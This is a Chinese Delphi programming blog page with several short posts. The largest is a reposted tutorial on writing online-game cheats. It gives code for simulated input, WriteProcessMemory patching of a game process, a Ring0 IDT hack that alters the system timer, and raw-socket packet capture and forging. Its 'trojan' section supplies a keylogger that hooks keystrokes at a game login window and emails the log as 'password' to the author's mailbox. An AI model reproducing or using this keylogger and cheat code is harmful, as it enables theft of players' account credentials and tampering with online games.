Delphi POS函数中文处理的问题

作者:傻猫 发布时间:March 1, 2010 分类:Delphi技术

delphi漏洞 pos()函数的奇怪现象

edit1.Text := intToStr(pos('市',资中市'));
结果=5,正确.

edit1.Text := intToStr(pos('市','资兴市'));
结果=2 . -_-?

edit1.Text := intToStr(pos('市','湖南省郴州市资兴市'));
结果=11,正确.

edit1.Text := intToStr(pos('市','湖南省资兴市郴州市'));
结果=8 . -_-?

以上结果都进行调试过,有没高手知道为什么会这样的?

---------------------------------------------

因为“资”的后半部分加上“兴”的前半部分就是“市”。
s1:='资';
s2:='兴';
ShowMessage(s1[2]+s2[1]);

不是漏洞,是由于汉字由两个字节组成的,使用WideString就Ok了
试试看:
edit1.Text := intToStr(pos('市',WideString('资中市')));
//结果=3,正确.

edit1.Text := intToStr(pos('市',WideString('资兴市')));
//结果=3

Delphi瞬间消除无用托盘图标(刷新托盘)

作者:傻猫 发布时间:August 25, 2009 分类:Delphi技术

用TerminateProcess把一个进程结束后有个问题,就是如果该程序在托盘有图标的话,这个图标并不会在它被结束时也消失。当然你用鼠标从上面移过可以解决这个问题,但本人在用自己的刷新辅助软件“疯狂刷新”的时候,每5分钟结束一次,一天下来如果不动电脑,就会在托盘区生成NNN个死图标,即使你拚命去点,也要点半天才能全部消除。有没有办法一下子搞定它呢?答案是肯定的,在网上搜了很久……用Delphi编写几行代码搞定。

阅读剩余部分...

盛大与DELPHI的十年情缘

作者:傻猫 发布时间:January 12, 2009 分类:Delphi技术

       “相识”:1999年11月,盛大成立之初,推出了中国第一个图形化网络虚拟社区游戏——“网络归谷”,而制作这款游戏的利器,就是以语法优美、效率卓著而名满天下的Delphi。 

  “相知”:2001年11月,《热血传奇》正式上市,迅速成为中国第一款成功商业化运营的网络游戏,开创了中国网络游戏行业的新纪元。同样是Delphi,以其高效、简洁的优势成就了传奇的品质。 

  “相恋”:2005年12月,EZ系列正式发售。项目团队汇集了众多优秀的Delphi开发者,其中包括蜚声社群的soul、aimingoo、小雨哥、savetime、张无忌等。各位好手比肩协作,书写了互动娱乐平台的新篇章。 

  “相守”:2008年3月,《盛大圈圈》正式面世,开创性的游戏内嵌技术,无限扩展的功能插件,为游戏添加了一道亮丽的风景线,这依然得益于Delphi的特质。 

  值此光华盛世,群贤毕起,共图建功立业之际,盛大诚邀您参加《盛大与Delphi的十年情缘》专题活动,共同感受盛大的成长、努力的精彩十年!

具体内容点这里:http://act.sdo.com/Delphi/

如何判断按下的是回车键?

作者:傻猫 发布时间:May 21, 2008 分类:Delphi技术

在   keydown中是  
  if   Key   =   VK_RETURN   then  
      ShowMessage('回车');   
    
在   keypress中是  
  if   Key   =   #13   then  
      ShowMessage('回车');  

Borland把Delphi卖掉了

作者:傻猫 发布时间:May 8, 2008 分类:Delphi技术

PS: Delphi花落新东家,对于我们这些FANS来说,未必是一件坏事,现在至少有新的公司承接下来,继续开发,总比死在Borland手里好,你觉得呢?

Borland刚刚宣布将CodeGear以2300万美元的价格出售给Embarcadero Technologies,这意味着历史悠久的Delphi语言将不在归于Borland旗下,一个曾经辉煌的时代结束了.

交易预计在2008年6月30日之前结束,以下是官方公告:

Borland Announces CodeGear Divestiture
Definitive agreement to sell CodeGear assets to Embarcadero Technologies

May 7, 2008
Borland announced today a definitive agreement to sell the assets of its individual developer tools unit, CodeGear,
to Embarcadero Technologies. The purchase price for CodeGear is expected to be approximately $23 million.
Borland will also retain CodeGear’s accounts receivables
with an approximate value of an additional $7 million.
The transaction is expected to close by June 30, 2008.

For more information, please visit:

www.codegear.com
www.embarcadero.com

来看看Borland历史:http://www.niceware.net/delphi/Borland_History.htm

Delphi如何开发游戏外挂

作者:傻猫 发布时间:February 20, 2008 分类:Delphi技术

引自:http://www.delphibbs.com/keylife/iblog_show.asp?xid=29781

上回对五种类型的外挂做了一个大体的概括,大家对这几种外挂都有了一定的了解,现在就依次(制作难度)由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。
记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事^_^),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:
1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:
BOOL GetCursorPos(

LPPOINT lpPoint // address of structure for cursor position
);
2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:
BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);
3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:
VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);
在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~
好了,有了以前的知识,我们就可以来看看人物移走是怎么实现的了:

getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);

看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:
VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:
UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);
好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。
(看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)


2003-5-15 10:36:05 上回我们对动作式外挂做了一个解析,动作式是最简单的外挂,现在我们带来看看,比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。
具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:
在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):
1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:
DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);
3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:
HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);
在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。
4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:
BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);
5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:
const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow('XX', nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;
这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。


2003-5-15 10:37:27 以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件


2003-5-15 10:38:09 我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;
const ZDH = $03; // 设一个中断号
var
IDT : array [0..5] of byte; // 保存IDT表
OG : dword; //存放旧向量
begin
asm
push ebx
sidt IDT //读入中断描述符表
mov ebx, dword ptr [IDT+2] //IDT表基地址
add ebx, 8*ZDH //计算中断在中断描述符表中的位置
cli //关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 //指向Ring0级代码段
mov word ptr [ebx], ax //低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax //高16位,保存在6,7位
int ZDH //中断
mov ebx, dword ptr [IDT+2] //重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx //恢复被改了的向量
pop ebx
jmp @@exitasm //到exitasm处
@@Ring0: //Ring0,这个也是最最最核心的东东
mov al,$34 //写入8253控制寄存器
out $43,al
mov ax,value //写入定时值
out $40,al //写定时值低位
mov al,ah
out $40,al //写定时值高位
iretd //返回
@@exitasm:
end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses
windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));


2003-5-18 22:57:57 网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一,在这一篇里就让我们一起研究一下这一个问题吧。
别看这是封包这一问题,但是涉及的技术范围很广范,实现的方式也很多(比如说APIHOOK,VXD,Winsock2都可以实现),在这里我们不可能每种技术和方法都涉及,所以我在这里以Winsock2技术作详细讲解,就算作抛砖引玉。
由于大多数读者对封包类编程不是很了解,我在这里就简单介绍一下相关知识:
APIHooK:
由于Windows的把内核提供的功能都封装到API里面,所以大家要实现功能就必须通过API,换句话说就是我们要想捕获数据封包,就必须先要得知道并且捕获这个API,从API里面得到封包信息。
VXD:
直接通过控制VXD驱动程序来实现封包信息的捕获,不过VXD只能用于win9X。
winsock2:
winsock是Windows网络编程接口,winsock工作在应用层,它提供与底层传输协议无关的高层数据传输编程接口,winsock2是winsock2.0提供的服务提供者接口,但只能在win2000下用。
好了,我们开始进入winsock2封包式编程吧。
在封包编程里面我准备分两个步骤对大家进行讲解:1、封包的捕获,2、封包的发送。
首先我们要实现的是封包的捕获:
Delphi的封装的winsock是1.0版的,很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口,才可以使用winsock2。
1、如何做winsock2的接口?
1)我们要先定义winsock2.0所用得到的类型,在这里我们以WSA_DATA类型做示范,大家可以举一仿三的来实现winsock2其他类型的封装。
我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;,大家会发现WSData是引用参数,在传入参数时传的是变量的地址,所以我们对WSA_DATA做以下封装:
const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSA_DATA = ^TWSA_DATA;
WSA_DATA = record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSA_DATA = WSA_DATA;
2)我们要从WS2_32.DLL引入winsock2的函数,在此我们也是以WSAStartup为例做函数引入:
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;

implementation

const WinSocket2 = 'WS2_32.DLL';
function WSAStartup; external winsocket name 'WSAStartup';

通过以上方法,我们便可以对winsock2做接口,下面我们就可以用winsock2做封包捕获了,不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题,所以我们在这里以IP数据包为例做封包捕获,如果下面的某些数据类型您不是很清楚,请您查阅MSDN:
1)我们要起动WSA,这时个要用到的WSAStartup函数,用法如下:
INTEGER WSAStartup(
wVersionRequired: word,
WSData: TWSA_DATA
);
2)使用socket函数得到socket句柄,m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下:
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);

m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄,AF_INET,SOCK_RAW,IPPROTO_IP均为常量。

3)定义SOCK_ADDR类型,跟据我们的网卡IP给Sock_ADDR类型附值,然后我们使用bind函数来绑定我们的网卡,Bind函数用法如下:

Type
IN_ADDR = record
S_addr : PChar;
End;

Type
TSOCK_ADDR = record
sin_family: Word;
sin_port: Word;
sin_addr : IN_ADDR
sin_zero: array[0..7] of Char;
End;

var
LocalAddr:TSOCK_ADDR;

LocalAddr.sin_family: = AF_INET;
LocalAddr.sin_port: = 0;
LocalAddr.sin_addr.S_addr: = inet_addr('192.168.1.1'); //这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。

bind(m_hSocket, LocalAddr, sizeof(LocalAddr));

4)用WSAIoctl来注册WSA的输入输出组件,其用法如下:

INTEGER WSAIoctl(s:INTEGER,
dwIoControlCode : INTEGER,
lpvInBuffer :INTEGER,
cbInBuffer : INTEGER,
lpvOutBuffer : INTEGER,
cbOutBuffer: INTEGER,
lpcbBytesReturned : INTEGER,
lpOverlapped : INTEGER,
lpCompletionRoutine : INTEGER
);
5)下面做死循环,在死循环块里,来实现数据的接收。但是徇环中间要用Sleep()做延时,不然程序会出错。
6)在循环块里,用recv函数来接收数据,recv函数用法如下:
INTEGER recv (s : INTEGER,
buffer:Array[0..4095] of byte,
length : INTEGER,
flags : INTEGER,
);
7)在buffer里就是我们接收回来的数据了,如果我们想要知道数据是什么地方发来的,那么,我们要定义一定IP包结构,用CopyMemory()把IP信息从buffer里面读出来就可以了,不过读出来的是十六进制的数据需要转换一下。

看了封包捕获的全过程序,对你是不是有点起发,然而在这里要告诉大家的是封包的获得是很容易的,但是许多游戏的封包都是加密的,如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。


2003-6-7 23:17:38 在本章中,我们主要来研究一下封包的制作和发送,同样,我们所采用的方法是Delphi+winsock2来制作。在以前说过在Delphi中只封装了winsock1,winsock2需要自已封装一下,我在此就不多介绍如何封装了。
下面就一步步实现我们的封包封装与发送吧:
首先,我们应该知道,封包是分两段的,一段是IP,一段是协议(TCP,UDP,其他协议),IP就像邮政编码一样,标识着你的这个封包是从哪里到哪里,而协议里记录着目标所要用到的包的格式及校验等,在网络游戏中的协议一般都是自已定义的,要破解网络游戏最重要的是学会破解网络游戏的协议网络游戏协议破解,为了不影响现运行的网络游戏的安全,我在此会以UDP协议为例,介绍一下网络协议的封包与发送的全过程。
接下来,我们就可以开始看看整个封包全过程了:
1)我们要起动sock2,这时个要用到的WSAStartup函数,用法如下:
INTEGER WSAStartup(
wVersionRequired: word,
WSData: TWSA_DATA
);
在程序中wVersionRequired我们传入的值为$0002,WSData为TWSA_DATA的结构。
2)使用socket函数创建并得到socket句柄; 用法如下:
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);
注意的是在我们的程序封包中饱含了IP包头,所以我们的Struct参数这里要传入的参数值为2,表示包含了包头。该函数返回值为刚刚创建的winsocket的句柄。
3)使用setsockopt函数设置sock的选项; 用法如下:
INTEGER setsockopt(s: Integer,
level: Integer,
optname: Integer,
optval: PChar,
optlen: Integer
);
在S处传入的是Socket句柄,在本程序里level输入的值为0表示IP(如果是6表示TCP,17表示UDP等~),OptName里写入2,而optval的初始值填入1,optlen为optval的大小。
4)接下来我们要分几个步骤来实现构建封包:
1、把IP转换成sock地址,用inet_addr来转换。
Longint inet_addr(
cp: PChar
);
2、定义包的总大小、IP的版本信息为IP结构:
总包大小=IP头的大小+UDP头的大小+UDP消息的大小,
IP的版本,在此程序里定义为4,
3、填写IP包头的结构:
ip.ipverlen := IP的版本 shl 4;
ip.iptos := 0; // IP服务类型
ip.iptotallength := ; // 总包大小
ip.ipid := 0; // 唯一标识,一般设置为0
ip.ipoffset := 0; // 偏移字段
ip.ipttl := 128; // 超时时间
ip.ipprotocol := $11; // 定义协议
ip.ipchecksum := 0 ; // 检验总数
ip.ipsrcaddr := ; // 源地址
ip.ipdestaddr := ; // 目标地址
4、填写UDP包头的结构:
udp.srcportno := ; //源端口号
udp.dstportno := ; //目标端口号
udp.udplength := ; //UDP包的大小
udp.udpchecksum := ; //检验总数
5、把IP包头,UDP包头及消息,放入缓存。
6、定义远程信息:
remote.family := 2;
remote.port :=; //远程端口
remote.addr.addr :=; //远程地址

5)我们用SendTo发送封包,用法如下:
INTEGER sendto(s: Integer,
var Buf: Integer,
var len: Integer,
var flags: Integer,
var addrto: TSock_Addr;
tolen: Integer
);
在S处传入的是Socket句柄,Buf是刚刚建好的封包,len传入封包的总长度刚刚计算过了,flag是传入标记在这里我们设为0,addto发送到的目标地址,在这里我们就传入remote就可以了,tolen写入的是remote的大小。

6)到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。

最后要说的是这种发送方式,只能发送完全被破解的网络协议,如果要在别人的程序中间发送数据就只有用APIHOOK或在winsock2做中间层了。

Delphi大富翁论坛离线数据大全

作者:傻猫 发布时间:January 25, 2008 分类:我的生活

最近我收集了Delphi大富翁论坛从1998到2007的离线CHM文件,由于本人在编程过程经常会用大富翁查找资料,于是乎自己想搞一个在线静态网页查询版的,随便走在什么地方都可以方便查询资料,所以用CHM反编译工具,把CHM转换为html文件了,在本站右边免费资源处有连接的,与人分享快乐何尝不是一件好事。说明一下:我在网页左边放了一个Google广告,不会影响浏览效果的,希望微薄的广告收入能赞助一下网站长期发展。

Dephi大富翁论坛离线数据大全:http://samool.com/delphibbs/

Dephi大富翁论坛2007年数据目录

Dephi大富翁论坛2006年数据目录

Dephi大富翁论坛2005年数据目录

Dephi大富翁论坛2004年数据目录

 

基于delphi的bho开发笔记

作者:傻猫 发布时间:October 15, 2007 分类:Delphi技术

 终于解决了让我头疼了很久的在IE工具条上backspace和tab键无效的问题,具体的解决方法如下:(这是个demo的文件)   

主要要实现接口:IInputObject;     

    {Declare IInputObject methods here}  

    function UIActivateIO(fActivate: BOOL; var lpMsg: TMsg): HResult; stdcall; 

    function HasFocusIO: HResult; stdcall;   

    function TranslateAcceleratorIO(var lpMsg: TMsg): HResult; stdcall;   

  以及方法:

    procedure FocusChange(bHasFocus: Boolean);   

    procedure BandWndProc(var Message: TMessage);    

具体请看以下demo代码:

 

delphi代码
  1. 终于解决了让我头疼了很久的在IE工具条上backspace和tab键无效的问题,具体的解决方法如下:(这是个demo的文件)   
  2. 主要要实现接口:IInputObject;   
  3.   
  4.     {Declare IInputObject methods here}  
  5.     function UIActivateIO(fActivate: BOOL; var lpMsg: TMsg): HResult; stdcall;   
  6.     function HasFocusIO: HResult; stdcall;   
  7.     function TranslateAcceleratorIO(var lpMsg: TMsg): HResult; stdcall;   
  8.   
  9. 以及方法:   
  10.   
  11.     procedure FocusChange(bHasFocus: Boolean);   
  12.     procedure BandWndProc(var Message: TMessage);    
  13. 具体请看以下demo代码:  
  14.    
  15.   
  16.     
  17.   
  18. 窗体文件:   
  19.   
  20. unit fmIEBar;   
  21.   
  22. interface  
  23.   
  24. uses  
  25.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,   
  26.   Dialogs, StdCtrls, SHDocVw;   
  27.   
  28. type  
  29.   TfrmIEBar = class(TForm)   
  30.     TxtUrl: TEdit;   
  31.     procedure FormActivate(Sender: TObject);   
  32.     procedure FormShow(Sender: TObject);   
  33.   private  
  34.     { Private declarations }  
  35.   public  
  36.     { Public declarations }  
  37.     IEThis: IWebbrowser2;   
  38.   end;   
  39.   
  40. var  
  41.   frmIEBar: TfrmIEBar;   
  42.   
  43. implementation  
  44.   
  45. {$R *.dfm}  
  46.   
  47. { TfrmIEBar }  
  48.   
  49. procedure TfrmIEBar.FormActivate(Sender: TObject);   
  50. begin  
  51.   TxtUrl.SetFocus;   
  52. end;   
  53.   
  54. procedure TfrmIEBar.FormShow(Sender: TObject);   
  55. begin  
